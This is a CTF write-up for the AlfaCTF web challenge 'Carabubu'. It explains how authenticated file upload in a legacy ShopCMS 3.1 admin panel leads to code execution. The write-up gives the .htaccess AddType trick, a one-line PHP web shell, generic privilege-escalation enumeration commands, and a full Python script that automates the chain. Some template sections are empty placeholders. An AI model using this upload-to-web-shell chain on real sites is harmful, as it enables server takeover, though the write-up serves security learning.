← Back to Writeups
HTBN/AWeb

Carabubu

XESXOR8/23/20266 min read
#web#htb#n/a

Carabubu

Platform: Alfactf | Category: Web | Type: Challenge | Difficulty: Hard | OS: Windows | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: addtype_php_extension_bypass, authenticated_htaccess_upload, credential_reuse_from_published_solution, helper_binary_execution, web_shell_rce

Summary

Task: a legacy ShopCMS 3.1 VIP instance exposed an authenticated product image upload in the admin panel, with Apache processing user-controlled files from a web directory. Solution: reuse recovered admin credentials, upload .htaccess to map .txt to PHP, place a tiny shell, then execute the helper binary /get_gift_location to obtain the real flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: alfactf | ID: 20260425_alfactf_carabubu
  • Tags: mysql, php, file_upload, web_shell, apache, nginx, htaccess, shopcms, authenticated_rce, windows_1251
  • Indicators: legacy PHP CMS admin panel exposes product image upload fields, uploaded files land in a web-accessible Apache-backed directory, server honors .htaccess directives inside upload folders, arbitrary filename control such as new_filename is accepted during admin upload, post-exploitation path includes a local helper binary returning the final secret
  • Source: 20260425_alfactf_carabubu.md

Foothold

Vulnerability / Misconfiguration

  1. Addtype_php_extension_bypass
  2. Authenticated_htaccess_upload
  3. Credential_reuse_from_published_solution
  4. Helper_binary_execution
  5. Web_shell_rce
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • addtype_php_extension_bypass
  • authenticated_htaccess_upload
  • credential_reuse_from_published_solution
  • helper_binary_execution
  • web_shell_rce
  • Tags: mysql, php, file_upload, web_shell, apache, nginx, htaccess, shopcms, authenticated_rce, windows_1251

Original Writeup

<details><summary>Click to expand original content</summary>

Carabubu — AlfaCTF

Description

Carabubu

English summary: the target was a live ShopCMS 3.1 VIP shop at https://carabubu-srv-jc9ge84u.alfactf.ru/ running PHP 5.3.29 behind nginx and Apache with MySQL and windows-1251. The goal was to reach the server-side secret drop location stored behind a root-level helper and extract the real flag.

Analysis

Recon

The challenge was a legacy PHP e-commerce panel. In our solve, the published technique for recovering administrator credentials was still valid on the live instance, and it yielded:

  • username: cara
  • password: bubu2026

Those credentials worked directly on /admin.php, giving access to the product management interface.

The important attack surface was the product image upload for product 1:

/admin.php?productID=1&eaction=prod

That upload path wrote files into data/small/, which was web-accessible. Because the stack was nginx -> Apache, this mattered a lot: nginx served the request, but Apache still interpreted .htaccess rules in the backend-served directory.

Vulnerability

The core issue was an authenticated arbitrary file upload in a directory where Apache configuration overrides were enabled. That let us chain two uploads:

  1. Upload attacker-controlled .htaccess
  2. Upload a text file containing PHP code

The .htaccess payload was:

AddType application/x-httpd-php .txt

This tells Apache to execute .txt files as PHP. Once that rule existed in data/small/, a file such as shell.txt stopped being inert text and became executable server-side code.

Practical reproduction detail

The published writeup path was reproducible on the live target, but one implementation detail differed slightly during our run:

  • the image upload field ufilenameu_12 worked for the .htaccess upload,
  • for the PHP shell upload, the new_filename field was the reliable way to land shell.txt in practice.

That difference did not change the exploit class, but it is important if you want to reproduce the attack exactly against the live instance.

Post-exploitation

After the two uploads, requesting the shell confirmed code execution:

/data/small/shell.txt?c=id

The response was:

uid=33(www-data) gid=33(www-data)

So the upload primitive became authenticated remote code execution as www-data.

The final step was not classic local privilege escalation. Instead, the challenge exposed a root-level helper binary that printed the gift location directly when executed:

/get_gift_location

Running that helper through the web shell returned the live flag.

Solution

Step 1: log in to the admin panel

Use the recovered credentials on:

/admin.php

Credentials used in the successful reproduction:

cara:bubu2026

Step 2: reach the product editor

Open the product management page for product 1:

/admin.php?productID=1&eaction=prod

This page contains the image upload functionality that writes into data/small/.

Step 3: upload .htaccess

Upload a file named .htaccess through the image upload path. In our reproduction, the upload parameter ufilenameu_12 worked.

File contents:

AddType application/x-httpd-php .txt

This makes Apache treat later .txt files in the same directory as PHP scripts.

Step 4: upload the web shell

Upload a second file as shell.txt into the same directory. In our successful reproduction, using the new_filename field for this upload was the reliable option.

Shell contents:

<?php system($_GET["c"]); ?>

Step 5: verify remote code execution

Browse to:

/data/small/shell.txt?c=id

Expected output:

uid=33(www-data) gid=33(www-data)

Step 6: execute the helper binary

Run the root-level helper via the shell:

/data/small/shell.txt?c=/get_gift_location

That command returns the final secret/coordinates, which in the live instance were the real flag.

#!/usr/bin/env python3
import io
import requests


BASE = "https://carabubu-srv-jc9ge84u.alfactf.ru"
USERNAME = "cara"
PASSWORD = "bubu2026"


def main():
    s = requests.Session()

    # Adjust the login field names if the panel differs, but these credentials
    # were confirmed on the live challenge instance.
    login_data = {
        "login": USERNAME,
        "password": PASSWORD,
        "submit": "Login",
    }
    r = s.post(f"{BASE}/admin.php", data=login_data, timeout=20)
    print("[+] Admin login response:", r.status_code)

    htaccess = b"AddType application/x-httpd-php .txt\n"
    shell = b'<?php system($_GET["c"]); ?>\n'

    upload_url = f"{BASE}/admin.php?productID=1&eaction=prod"

    # Reproduction detail: ufilenameu_12 worked for .htaccess.
    data1 = {
        "new_filename": ".htaccess",
        "submit": "Save",
    }
    files1 = {
        "ufilenameu_12": (".htaccess", io.BytesIO(htaccess), "text/plain"),
    }
    r = s.post(upload_url, data=data1, files=files1, timeout=20)
    print("[+] .htaccess upload status:", r.status_code)

    # Reproduction detail: new_filename was the reliable field for shell.txt.
    data2 = {
        "new_filename": "shell.txt",
        "submit": "Save",
    }
    files2 = {
        "ufilenameu_12": ("shell.txt", io.BytesIO(shell), "text/plain"),
    }
    r = s.post(upload_url, data=data2, files=files2, timeout=20)
    print("[+] shell upload status:", r.status_code)

    r = s.get(f"{BASE}/data/small/shell.txt", params={"c": "id"}, timeout=20)
    print("[+] id output:")
    print(r.text)

    r = s.get(
        f"{BASE}/data/small/shell.txt",
        params={"c": "/get_gift_location"},
        timeout=20,
    )
    print("[+] helper output:")
    print(r.text)


if __name__ == "__main__":
    main()

Takeaway

For old PHP CMS targets, authenticated upload bugs are often more dangerous than they first appear. If Apache honors .htaccess inside the upload directory, a harmless-looking text upload can be converted into immediate code execution with a single AddType rule.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR